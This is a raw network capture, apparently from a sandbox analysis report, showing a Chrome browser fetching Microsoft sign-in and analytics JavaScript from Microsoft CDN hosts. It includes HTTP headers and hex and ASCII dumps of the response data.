2024-08-29 22:19:47 UTC	16384	IN	Data Raw: 68 69 73 2e 70 72 6f 70 73 2c 72 3d 65 2e 63 73 73 43 6c 61 73 73 2c 6e 3d 65 2e 63 68 69 6c 64 72 65 6e 2c 6f 3d 74 68 69 73 2e 73 74 61 74 65 2e 61 63 74 69 76 61 74 65 64 3b 72 65 74 75 72 6e 20 4f 28 22 64 69 76 22 2c 7b 63 6c 61 73 73 3a 65 74 28 5b 72 2c 28 74 3d 7b 7d 2c 74 2e 6d 65 63 74 72 6c 5f 66 6f 63 75 73 5f 76 69 73 69 62 6c 65 3d 6f 2c 74 29 5d 29 7d 2c 6e 29 7d 2c 66 72 29 3b 66 75 6e 63 74 69 6f 6e 20 66 72 28 74 29 7b 76 61 72 20 65 3d 75 72 2e 63 61 6c 6c 28 74 68 69 73 2c 74 29 7c 7c 74 68 69 73 3b 72 65 74 75 72 6e 20 65 2e 73 74 61 74 65 3d 7b 61 63 74 69 76 61 74 65 64 3a 21 21 74 2e 76 69 73 69 62 6c 65 4f 6e 53 74 61 72 74 7d 2c 65 2e 68 61 73 52 65 63 65 6e 74 4b 65 79 62 6f 61 72 64 41 63 74 69 6f 6e 3d 21 31 2c 65 2e 6b 65 79 Data Ascii: his.props,r=e.cssClass,n=e.children,o=this.state.activated;return O("div",{class:et([r,(t={},t.mectrl_focus_visible=o,t)])},n)},fr);function fr(t){var e=ur.call(this,t)\|\|this;return e.state={activated:!!t.visibleOnStart},e.hasRecentKeyboardAction=!1,e.key
2024-08-29 22:19:47 UTC	16384	IN	Data Raw: 55 72 6c 29 3b 63 61 73 65 22 73 69 67 6e 4f 75 74 46 72 6f 6d 49 64 70 22 3a 72 65 74 75 72 6e 21 31 3b 63 61 73 65 22 73 69 67 6e 4f 75 74 41 6e 64 46 6f 72 67 65 74 46 72 6f 6d 49 64 70 22 3a 72 65 74 75 72 6e 20 78 74 28 6e 75 6c 6c 3d 3d 3d 28 72 3d 74 68 69 73 2e 63 6f 6e 66 69 67 2e 6d 73 61 29 7c 7c 76 6f 69 64 20 30 3d 3d 3d 72 3f 76 6f 69 64 20 30 3a 72 2e 73 69 67 6e 4f 75 74 41 6e 64 46 6f 72 67 65 74 55 72 6c 29 3b 63 61 73 65 22 73 77 69 74 63 68 22 3a 72 65 74 75 72 6e 20 78 74 28 74 68 69 73 2e 63 6f 6e 66 69 67 2e 61 70 70 53 77 69 74 63 68 55 72 6c 29 3b 63 61 73 65 22 73 77 69 74 63 68 54 6f 22 3a 72 65 74 75 72 6e 20 78 74 28 74 68 69 73 2e 63 6f 6e 66 69 67 2e 61 70 70 53 77 69 74 63 68 54 6f 55 72 6c 29 3b 63 61 73 65 22 67 65 74 52 Data Ascii: Url);case"signOutFromIdp":return!1;case"signOutAndForgetFromIdp":return xt(null===(r=this.config.msa)\|\|void 0===r?void 0:r.signOutAndForgetUrl);case"switch":return xt(this.config.appSwitchUrl);case"switchTo":return xt(this.config.appSwitchToUrl);case"getR
2024-08-29 22:19:47 UTC	16384	IN	Data Raw: 6e 20 67 6e 28 74 29 7b 72 65 74 75 72 6e 21 21 74 26 26 2d 31 3c 6d 74 28 74 29 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 2e 69 6e 64 65 78 4f 66 28 22 6c 6f 67 69 6e 2e 6c 69 76 65 2e 63 6f 6d 22 29 7d 66 75 6e 63 74 69 6f 6e 20 6d 6e 28 74 29 7b 72 65 74 75 72 6e 20 6e 65 77 20 79 6e 28 74 29 7d 76 61 72 20 79 6e 3d 28 76 6e 2e 70 72 6f 74 6f 74 79 70 65 2e 73 75 70 70 6f 72 74 73 4d 73 61 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 22 6d 73 61 6c 4a 73 57 69 74 68 4d 73 61 22 3d 3d 3d 74 68 69 73 2e 63 6f 6e 66 69 67 2e 74 79 70 65 7d 2c 76 6e 2e 70 72 6f 74 6f 74 79 70 65 2e 69 73 4f 70 65 72 61 74 69 6f 6e 53 75 70 70 6f 72 74 65 64 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 76 61 72 20 72 2c 6e 2c 6f 3b 73 77 69 74 63 68 28 74 29 7b 63 Data Ascii: n gn(t){return!!t&&-1<mt(t).toLowerCase().indexOf("login.live.com")}function mn(t){return new yn(t)}var yn=(vn.prototype.supportsMsa=function(){return"msalJsWithMsa"===this.config.type},vn.prototype.isOperationSupported=function(t,e){var r,n,o;switch(t){c
2024-08-29 22:19:47 UTC	16384	IN	Data Raw: 61 64 2e 63 61 63 68 65 64 44 61 74 61 2c 6c 3d 74 2c 66 3d 30 3b 66 3c 64 2e 6c 65 6e 67 74 68 3b 66 2b 2b 29 7b 69 66 28 79 3d 6c 5b 6e 75 6c 6c 21 3d 28 6f 3d 64 5b 66 5d 2e 61 63 63 6f 75 6e 74 49 64 29 3f 6f 3a 64 5b 66 5d 2e 70 61 79 6c 6f 61 64 2e 6b 65 79 5d 29 7b 76 61 72 20 68 3d 64 5b 66 5d 2e 70 61 79 6c 6f 61 64 3b 79 2e 70 69 63 74 75 72 65 55 72 6c 3d 6e 75 6c 6c 21 3d 28 69 3d 79 2e 70 69 63 74 75 72 65 55 72 6c 29 3f 69 3a 68 2e 72 65 73 6f 75 72 63 65 2c 79 2e 63 61 63 68 65 4d 65 74 61 3f 79 2e 63 61 63 68 65 4d 65 74 61 2e 70 69 63 74 75 72 65 55 72 6c 3d 68 2e 72 65 73 6f 75 72 63 65 45 54 61 67 3a 79 2e 63 61 63 68 65 4d 65 74 61 3d 28 28 72 3d 7b 7d 29 2e 70 69 63 74 75 72 65 55 72 6c 3d 68 2e 72 65 73 6f 75 72 63 65 45 54 61 67 2c Data Ascii: ad.cachedData,l=t,f=0;f<d.length;f++){if(y=l[null!=(o=d[f].accountId)?o:d[f].payload.key]){var h=d[f].payload;y.pictureUrl=null!=(i=y.pictureUrl)?i:h.resource,y.cacheMeta?y.cacheMeta.pictureUrl=h.resourceETag:y.cacheMeta=((r={}).pictureUrl=h.resourceETag,
2024-08-29 22:19:48 UTC	16384	IN	Data Raw: 6c 69 6e 65 2d 63 6f 6c 6f 72 5c 78 33 61 5c 78 32 33 36 36 36 5c 78 32 31 69 6d 70 6f 72 74 61 6e 74 5c 78 33 62 6f 75 74 6c 69 6e 65 2d 77 69 64 74 68 5c 78 33 61 32 70 78 5c 78 32 31 69 6d 70 6f 72 74 61 6e 74 5c 78 33 62 6f 75 74 6c 69 6e 65 2d 6f 66 66 73 65 74 5c 78 33 61 2d 32 70 78 5c 78 32 31 69 6d 70 6f 72 74 61 6e 74 5c 78 37 64 2e 6d 65 63 74 72 6c 5f 67 6c 79 70 68 5c 78 37 62 6f 76 65 72 66 6c 6f 77 5c 78 33 61 68 69 64 64 65 6e 5c 78 33 62 62 61 63 6b 67 72 6f 75 6e 64 2d 73 69 7a 65 5c 78 33 61 63 6f 76 65 72 5c 78 33 62 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 5c 78 33 61 63 65 6e 74 65 72 20 63 65 6e 74 65 72 5c 78 33 62 62 61 63 6b 67 72 6f 75 6e 64 2d 72 65 70 65 61 74 5c 78 33 61 6e 6f 2d 72 65 70 65 61 74 5c 78 37 64 Data Ascii: line-color\x3a\x23666\x21important\x3boutline-width\x3a2px\x21important\x3boutline-offset\x3a-2px\x21important\x7d.mectrl_glyph\x7boverflow\x3ahidden\x3bbackground-size\x3acover\x3bbackground-position\x3acenter center\x3bbackground-repeat\x3ano-repeat\x7d
2024-08-29 22:19:48 UTC	16384	IN	Data Raw: 72 6c 5f 74 68 65 6d 65 5f 67 72 61 79 20 2e 67 6c 79 70 68 5f 61 63 63 6f 75 6e 74 5f 63 69 72 63 6c 65 2c 2e 6d 65 63 74 72 6c 5f 74 68 65 6d 65 5f 6f 66 66 5f 62 6c 61 63 6b 20 2e 67 6c 79 70 68 5f 61 63 63 6f 75 6e 74 5f 63 69 72 63 6c 65 5c 78 37 62 62 61 63 6b 67 72 6f 75 6e 64 2d 69 6d 61 67 65 5c 78 33 61 75 72 6c 5c 78 32 38 5c 78 32 32 64 61 74 61 5c 78 33 61 69 6d 61 67 65 5c 78 32 66 73 76 67 5c 78 32 62 78 6d 6c 5c 78 33 62 63 68 61 72 73 65 74 5c 78 33 64 75 74 66 2d 38 2c 5c 78 32 35 33 43 73 76 67 20 78 6d 6c 6e 73 5c 78 33 64 5c 78 32 37 68 74 74 70 5c 78 33 61 5c 78 32 66 5c 78 32 66 77 77 77 2e 77 33 2e 6f 72 67 5c 78 32 66 32 30 30 30 5c 78 32 66 73 76 67 5c 78 32 37 20 76 69 65 77 42 6f 78 5c 78 33 64 5c 78 32 37 30 20 30 20 36 34 20 Data Ascii: rl_theme_gray .glyph_account_circle,.mectrl_theme_off_black .glyph_account_circle\x7bbackground-image\x3aurl\x28\x22data\x3aimage\x2fsvg\x2bxml\x3bcharset\x3dutf-8,\x253Csvg xmlns\x3d\x27http\x3a\x2f\x2fwww.w3.org\x2f2000\x2fsvg\x27 viewBox\x3d\x270 0 64
2024-08-29 22:19:48 UTC	16384	IN	Data Raw: 33 64 5c 78 32 37 68 74 74 70 5c 78 33 61 5c 78 32 66 5c 78 32 66 77 77 77 2e 77 33 2e 6f 72 67 5c 78 32 66 32 30 30 30 5c 78 32 66 73 76 67 5c 78 32 37 5c 78 32 35 33 45 5c 78 32 35 33 43 70 61 74 68 20 64 5c 78 33 64 5c 78 32 37 4d 35 2e 34 35 33 20 35 4c 31 30 20 39 2e 35 35 32 20 39 2e 35 35 32 20 31 30 20 35 20 35 2e 34 35 33 2e 34 34 38 20 31 30 20 30 20 39 2e 35 35 32 20 34 2e 35 34 37 20 35 20 30 20 2e 34 34 38 2e 34 34 38 20 30 20 35 20 34 2e 35 34 37 20 39 2e 35 35 32 20 30 20 31 30 20 2e 34 34 38 20 35 2e 34 35 33 20 35 7a 5c 78 32 37 20 66 69 6c 6c 5c 78 33 64 5c 78 32 37 5c 78 32 35 32 33 33 32 33 31 33 30 5c 78 32 37 5c 78 32 66 5c 78 32 35 33 45 5c 78 32 35 33 43 5c 78 32 66 73 76 67 5c 78 32 35 33 45 5c 78 32 32 5c 78 32 39 5c 78 37 64 5c Data Ascii: 3d\x27http\x3a\x2f\x2fwww.w3.org\x2f2000\x2fsvg\x27\x253E\x253Cpath d\x3d\x27M5.453 5L10 9.552 9.552 10 5 5.453.448 10 0 9.552 4.547 5 0 .448.448 0 5 4.547 9.552 0 10 .448 5.453 5z\x27 fill\x3d\x27\x2523323130\x27\x2f\x253E\x253C\x2fsvg\x253E\x22\x29\x7d\

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.4	49876	13.107.246.60	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-29 22:19:47 UTC	633	OUT	GET /shared/1.0/content/js/BssoInterrupt_Core_JQnUxWSvwsd9FrpspQmznw2.js HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://login.microsoftonline.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://login.microsoftonline.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-08-29 22:19:47 UTC	797	IN	HTTP/1.1 200 OK Date: Thu, 29 Aug 2024 22:19:47 GMT Content-Type: application/x-javascript Content-Length: 49804 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Mon, 05 Aug 2024 15:32:28 GMT ETag: 0x8DCB563D09FF90F x-ms-request-id: 55534830-d01e-0036-3c4f-f9718b000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240829T221947Z-16579567576pgh4h94c7qn0kuc00000002g000000000a2fy x-fd-int-roxy-purgeid: 4554691 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-08-29 22:19:47 UTC	15587	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 e4 bd 6d 5b e3 38 d2 30 fa fd fe 15 c1 bb 0f 1d 4f 4c c8 0b d0 e0 b4 3b 77 1a e8 6e 66 80 30 04 66 66 17 58 2e 27 56 c0 dd c1 ce da 0e 34 13 72 7e fb a9 17 c9 96 1d 87 ee d9 3d d7 f9 f2 cc 0b b1 a5 92 2c 95 aa 4a 55 a5 92 b4 f9 d3 da ff 54 7e aa 6c fc f8 3f 95 c1 45 ef fc a2 d2 ff 58 b9 f8 7c 74 7e 50 39 83 b7 7f 54 4e fb 17 47 fb 87 3f 5e 0f 7e 14 ff bf b8 f7 e3 ca d8 9f 88 0a fc 0e dd 58 78 95 30 a8 84 51 c5 0f 46 61 34 0d 23 37 11 71 e5 01 fe 46 be 3b a9 8c a3 f0 a1 92 dc 8b ca 34 0a bf 88 51 12 57 26 7e 9c 40 a1 a1 98 84 4f 95 2a 54 17 79 95 33 37 4a 9e 2b 47 67 66 1d ea 17 50 9b 7f e7 07 50 7a 14 4e 9f e1 f9 3e a9 04 61 e2 8f 44 c5 0d 3c aa 6d 02 2f 41 2c 2a b3 c0 13 51 e5 e9 de 1f dd 57 4e fc 51 14 c6 e1 38 a9 44 62 24 Data Ascii: m[80OL;wnf0ffX.'V4r~=,JUT~l?EX\|t~P9TNG?^~Xx0QFa4#7qF;4QW&~@OTy37J+GgfPPzN>aD<m/A,QWNQ8Db$
2024-08-29 22:19:47 UTC	16384	IN	Data Raw: a1 fe a6 75 c8 0d 27 1c c8 cc 3b 47 70 68 d3 97 de 38 51 da 2b 6d ae c3 c3 92 66 30 2c c7 e2 0e a7 d6 2d 0d 94 23 88 9f 19 2d 1f 22 de b2 95 e2 e1 43 fe ba 22 db f8 db c7 de c7 bd 8f bb 46 5e a9 e2 79 8b bb 39 80 f2 13 69 1c da 46 ac bd 01 17 40 95 be ca 7a c8 5e 78 9e 4e f0 34 2a 49 07 20 d2 55 18 4e aa f9 a9 79 19 46 01 fd be 74 21 2c 48 25 ed 0b d8 5c e1 21 97 5b fb 1f fa e7 08 c5 f1 db 24 52 d4 24 94 ea 86 a0 ac 71 9b a5 70 df 6e 64 32 7d bb 49 7e 1c 3a 35 86 3a 0b bc 11 b9 bc 63 53 13 db b6 21 b2 17 b6 8c 6c 3a de c8 b0 48 30 1a 78 e1 93 b1 f2 84 d9 a0 da 32 3b 49 9d 0e a3 ba 0c c0 20 f1 60 44 0e bf e1 b1 1f 00 db 07 eb f8 0b 93 7a ee 80 51 71 65 d0 f1 46 c6 4d b5 e4 80 4a d1 c1 db 33 01 93 60 94 84 63 3e bb 8d 4e f6 d7 4e 72 4b bf 55 91 07 da 56 22 Data Ascii: u';Gph8Q+mf0,-#-"C"F^y9iF@z^xN4*I UNyFt!,H%\![$R$qpnd2}I~:5:cS!l:H0x2;I `DzQqeFMJ3`c>NNrKUV"
2024-08-29 22:19:47 UTC	16384	IN	Data Raw: 49 49 78 a3 6d 90 4f f2 d1 5f e3 49 57 25 53 20 30 da 2c 5f 9e fb be 25 d9 53 ac e2 06 6d fc 67 4d 28 10 b5 f0 53 88 c0 7e 3e c3 5e b0 96 88 a4 6a 56 81 ac 3c e2 4c 74 3e 79 ed bb 38 fd f9 09 7e 74 9f 32 42 c7 41 04 97 ac e7 a6 59 52 fe 59 8b 9a b4 f3 4a 8b b4 d6 10 bd d9 0f af 84 78 1b c9 34 c0 e1 99 a8 cd 23 a0 ce 8d b4 0e 00 99 43 46 38 aa 5e e1 a4 f2 b1 1e 2b 7f d5 16 32 3e 8d f2 99 ec b5 f7 ea 3d de 6a 55 6b ab 45 a6 da 10 6c 86 da dd 41 0a 35 3a 57 9c 6d af f8 17 dd 86 fe 9a 8f 67 27 ed 3a 5b 96 b7 fe 68 25 95 d8 2b b0 d4 b5 c8 c6 c9 ae 2d 62 2a 76 b4 6a a4 5b 48 7c 83 75 29 d5 f1 80 c1 6d 15 f3 46 e2 9d 67 bd 75 10 d5 0f fa 52 85 d6 65 ac 67 bd 66 c1 72 a4 33 6d ea 5c 99 93 86 6e a9 fd 34 e0 24 b4 0d 56 b1 61 56 94 05 d2 f1 9b 06 fa d6 bf 56 69 91 Data Ascii: IIxmO_IW%S 0,_%SmgM(S~>^jV<Lt>y8~t2BAYRYJx4#CF8^+2>=jUkElA5:Wmg':[h%+-b*vj[H\|u)mFguRegfr3m\n4$VaVVi
2024-08-29 22:19:47 UTC	1449	IN	Data Raw: 45 2f 63 f8 e4 e0 0e d0 f4 68 6c d8 37 44 70 d3 c6 9c 6a 8d 33 2e 82 62 3b 12 9c f1 56 32 89 89 b7 1c f8 4d 92 80 1d 13 a3 81 6b 0f 74 b0 f6 84 70 e9 e9 2c 49 af 92 78 a0 74 57 ec ad 25 df 18 38 c3 d4 53 29 e6 ae 8e 8b 93 b1 d2 56 e2 b7 bf 85 b6 94 6e 6e da cf 4a 54 d6 75 6d ac a3 fc 6d 23 e6 09 04 32 6d 06 4d 28 cf 16 35 28 24 8a d7 e3 11 0c 87 53 1f 83 11 24 c4 fc c3 89 41 42 39 c4 98 16 56 9e 4f 6d b3 c6 ef 84 26 af d9 dd a3 84 63 8c fa 7b eb 2a bd af dc 00 b7 88 03 05 8e ec fa fd 82 bd 9f 8c 0b 40 5f cc ab 16 c9 2c 13 c1 24 45 9b f2 c5 95 32 0f ac 16 0c f7 e9 05 a9 ed 10 12 2b 87 10 71 c9 25 6e 4c d0 b4 d8 26 e3 b3 13 af d7 74 bb 7d 5f d3 95 83 db 5b 37 ea 39 ca bb f7 00 bc c7 7d 71 70 80 36 07 87 17 11 46 47 79 ad 8b 01 fd 00 09 4b 55 8e 3a 38 8f 1e Data Ascii: E/chl7Dpj3.b;V2Mktp,IxtW%8S)VnnJTumm#2mM(5($S$AB9VOm&c{*@_,$E2+q%nL&t}_[79}qp6FGyKU:8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.4	49886	13.107.246.44	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-29 22:19:48 UTC	408	OUT	GET /shared/1.0/content/js/BssoInterrupt_Core_JQnUxWSvwsd9FrpspQmznw2.js HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-08-29 22:19:48 UTC	818	IN	HTTP/1.1 200 OK Date: Thu, 29 Aug 2024 22:19:48 GMT Content-Type: application/x-javascript Content-Length: 49804 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Mon, 05 Aug 2024 15:32:28 GMT ETag: 0x8DCB563D09FF90F x-ms-request-id: 55534830-d01e-0036-3c4f-f9718b000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240829T221948Z-16579567576ztstdfgdnkw0mpw00000002s0000000003bew x-fd-int-roxy-purgeid: 4554691 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-08-29 22:19:48 UTC	15566	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 e4 bd 6d 5b e3 38 d2 30 fa fd fe 15 c1 bb 0f 1d 4f 4c c8 0b d0 e0 b4 3b 77 1a e8 6e 66 80 30 04 66 66 17 58 2e 27 56 c0 dd c1 ce da 0e 34 13 72 7e fb a9 17 c9 96 1d 87 ee d9 3d d7 f9 f2 cc 0b b1 a5 92 2c 95 aa 4a 55 a5 92 b4 f9 d3 da ff 54 7e aa 6c fc f8 3f 95 c1 45 ef fc a2 d2 ff 58 b9 f8 7c 74 7e 50 39 83 b7 7f 54 4e fb 17 47 fb 87 3f 5e 0f 7e 14 ff bf b8 f7 e3 ca d8 9f 88 0a fc 0e dd 58 78 95 30 a8 84 51 c5 0f 46 61 34 0d 23 37 11 71 e5 01 fe 46 be 3b a9 8c a3 f0 a1 92 dc 8b ca 34 0a bf 88 51 12 57 26 7e 9c 40 a1 a1 98 84 4f 95 2a 54 17 79 95 33 37 4a 9e 2b 47 67 66 1d ea 17 50 9b 7f e7 07 50 7a 14 4e 9f e1 f9 3e a9 04 61 e2 8f 44 c5 0d 3c aa 6d 02 2f 41 2c 2a b3 c0 13 51 e5 e9 de 1f dd 57 4e fc 51 14 c6 e1 38 a9 44 62 24 Data Ascii: m[80OL;wnf0ffX.'V4r~=,JUT~l?EX\|t~P9TNG?^~Xx0QFa4#7qF;4QW&~@OTy37J+GgfPPzN>aD<m/A,QWNQ8Db$
2024-08-29 22:19:48 UTC	16384	IN	Data Raw: 39 ce 05 9e bd 43 1a 07 3e e0 59 bf e7 e2 51 a8 73 30 56 ec 10 a1 fe a6 75 c8 0d 27 1c c8 cc 3b 47 70 68 d3 97 de 38 51 da 2b 6d ae c3 c3 92 66 30 2c c7 e2 0e a7 d6 2d 0d 94 23 88 9f 19 2d 1f 22 de b2 95 e2 e1 43 fe ba 22 db f8 db c7 de c7 bd 8f bb 46 5e a9 e2 79 8b bb 39 80 f2 13 69 1c da 46 ac bd 01 17 40 95 be ca 7a c8 5e 78 9e 4e f0 34 2a 49 07 20 d2 55 18 4e aa f9 a9 79 19 46 01 fd be 74 21 2c 48 25 ed 0b d8 5c e1 21 97 5b fb 1f fa e7 08 c5 f1 db 24 52 d4 24 94 ea 86 a0 ac 71 9b a5 70 df 6e 64 32 7d bb 49 7e 1c 3a 35 86 3a 0b bc 11 b9 bc 63 53 13 db b6 21 b2 17 b6 8c 6c 3a de c8 b0 48 30 1a 78 e1 93 b1 f2 84 d9 a0 da 32 3b 49 9d 0e a3 ba 0c c0 20 f1 60 44 0e bf e1 b1 1f 00 db 07 eb f8 0b 93 7a ee 80 51 71 65 d0 f1 46 c6 4d b5 e4 80 4a d1 c1 db 33 01 Data Ascii: 9C>YQs0Vu';Gph8Q+mf0,-#-"C"F^y9iF@z^xN4*I UNyFt!,H%\![$R$qpnd2}I~:5:cS!l:H0x2;I `DzQqeFMJ3
2024-08-29 22:19:48 UTC	16384	IN	Data Raw: 6a cd f9 76 21 34 7e 0a 9b e9 a1 b3 3a b4 f9 ab b6 41 4a 73 39 49 49 78 a3 6d 90 4f f2 d1 5f e3 49 57 25 53 20 30 da 2c 5f 9e fb be 25 d9 53 ac e2 06 6d fc 67 4d 28 10 b5 f0 53 88 c0 7e 3e c3 5e b0 96 88 a4 6a 56 81 ac 3c e2 4c 74 3e 79 ed bb 38 fd f9 09 7e 74 9f 32 42 c7 41 04 97 ac e7 a6 59 52 fe 59 8b 9a b4 f3 4a 8b b4 d6 10 bd d9 0f af 84 78 1b c9 34 c0 e1 99 a8 cd 23 a0 ce 8d b4 0e 00 99 43 46 38 aa 5e e1 a4 f2 b1 1e 2b 7f d5 16 32 3e 8d f2 99 ec b5 f7 ea 3d de 6a 55 6b ab 45 a6 da 10 6c 86 da dd 41 0a 35 3a 57 9c 6d af f8 17 dd 86 fe 9a 8f 67 27 ed 3a 5b 96 b7 fe 68 25 95 d8 2b b0 d4 b5 c8 c6 c9 ae 2d 62 2a 76 b4 6a a4 5b 48 7c 83 75 29 d5 f1 80 c1 6d 15 f3 46 e2 9d 67 bd 75 10 d5 0f fa 52 85 d6 65 ac 67 bd 66 c1 72 a4 33 6d ea 5c 99 93 86 6e a9 fd Data Ascii: jv!4~:AJs9IIxmO_IW%S 0,_%SmgM(S~>^jV<Lt>y8~t2BAYRYJx4#CF8^+2>=jUkElA5:Wmg':[h%+-b*vj[H\|u)mFguRegfr3m\n
2024-08-29 22:19:48 UTC	1470	IN	Data Raw: 8a 48 6d df 91 4c 54 19 a7 6a 04 24 62 96 25 0b 24 d4 c0 a5 a6 45 2f 63 f8 e4 e0 0e d0 f4 68 6c d8 37 44 70 d3 c6 9c 6a 8d 33 2e 82 62 3b 12 9c f1 56 32 89 89 b7 1c f8 4d 92 80 1d 13 a3 81 6b 0f 74 b0 f6 84 70 e9 e9 2c 49 af 92 78 a0 74 57 ec ad 25 df 18 38 c3 d4 53 29 e6 ae 8e 8b 93 b1 d2 56 e2 b7 bf 85 b6 94 6e 6e da cf 4a 54 d6 75 6d ac a3 fc 6d 23 e6 09 04 32 6d 06 4d 28 cf 16 35 28 24 8a d7 e3 11 0c 87 53 1f 83 11 24 c4 fc c3 89 41 42 39 c4 98 16 56 9e 4f 6d b3 c6 ef 84 26 af d9 dd a3 84 63 8c fa 7b eb 2a bd af dc 00 b7 88 03 05 8e ec fa fd 82 bd 9f 8c 0b 40 5f cc ab 16 c9 2c 13 c1 24 45 9b f2 c5 95 32 0f ac 16 0c f7 e9 05 a9 ed 10 12 2b 87 10 71 c9 25 6e 4c d0 b4 d8 26 e3 b3 13 af d7 74 bb 7d 5f d3 95 83 db 5b 37 ea 39 ca bb f7 00 bc c7 7d 71 70 80 Data Ascii: HmLTj$b%$E/chl7Dpj3.b;V2Mktp,IxtW%8S)VnnJTumm#2mM(5($S$AB9VOm&c{*@_,$E2+q%nL&t}_[79}qp

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.4	49885	13.107.246.60	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-29 22:19:48 UTC	393	OUT	GET /scripts/c/ms.shared.analytics.mectrl-3.gbl.min.js HTTP/1.1 Host: js.monitor.azure.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-08-29 22:19:48 UTC	982	IN	HTTP/1.1 200 OK Date: Thu, 29 Aug 2024 22:19:48 GMT Content-Type: text/javascript; charset=utf-8 Content-Length: 91802 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: no-transform, public, max-age=1800, immutable Last-Modified: Mon, 01 Jul 2024 17:02:58 GMT ETag: 0x8DC99EFA85DE069 x-ms-request-id: dd3e0e27-001e-0056-16f7-f4dcae000000 x-ms-version: 2009-09-19 x-ms-meta-jssdkver: 3.2.18 x-ms-meta-jssdksrc: [cdn]/scripts/c/ms.shared.analytics.mectrl-3.2.18.gbl.min.js Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,x-ms-meta-jssdkver,x-ms-meta-jssdksrc,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240829T221948Z-16579567576phhfj0h0z9mnmag00000002ag00000000hxha x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-08-29 22:19:48 UTC	15402	IN	Data Raw: 2f 2a 21 0a 20 2a 20 31 44 53 20 4a 53 20 53 44 4b 20 53 68 61 72 65 64 20 41 6e 61 6c 79 74 69 63 73 2c 20 33 2e 32 2e 31 38 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 4d 69 63 72 6f 73 6f 66 74 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 2e 20 41 6c 6c 20 72 69 67 68 74 73 20 72 65 73 65 72 76 65 64 2e 0a 20 2a 20 28 4d 69 63 72 6f 73 6f 66 74 20 49 6e 74 65 72 6e 61 6c 20 4f 6e 6c 79 29 0a 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 29 7b 76 61 72 20 74 2c 72 3d 7b 7d 2c 69 3d 22 5f 5f 6d 73 24 6d 6f 64 5f 5f 22 2c 6f 3d 7b 7d 2c 61 3d 6f 2e 65 73 6d 5f 6d 73 5f 73 68 61 72 65 64 5f 61 6e 61 6c 79 74 69 63 73 5f 6d 65 63 74 72 6c 5f 33 5f 32 5f 31 38 3d 7b 7d 2c 75 3d 22 33 2e 32 2e 31 38 22 2c 63 3d 22 6f 6e 65 44 73 4d 65 43 Data Ascii: /! 1DS JS SDK Shared Analytics, 3.2.18 * Copyright (c) Microsoft and contributors. All rights reserved. * (Microsoft Internal Only) */!function(e,n){var t,r={},i="__ms$mod__",o={},a=o.esm_ms_shared_analytics_mectrl_3_2_18={},u="3.2.18",c="oneDsMeC
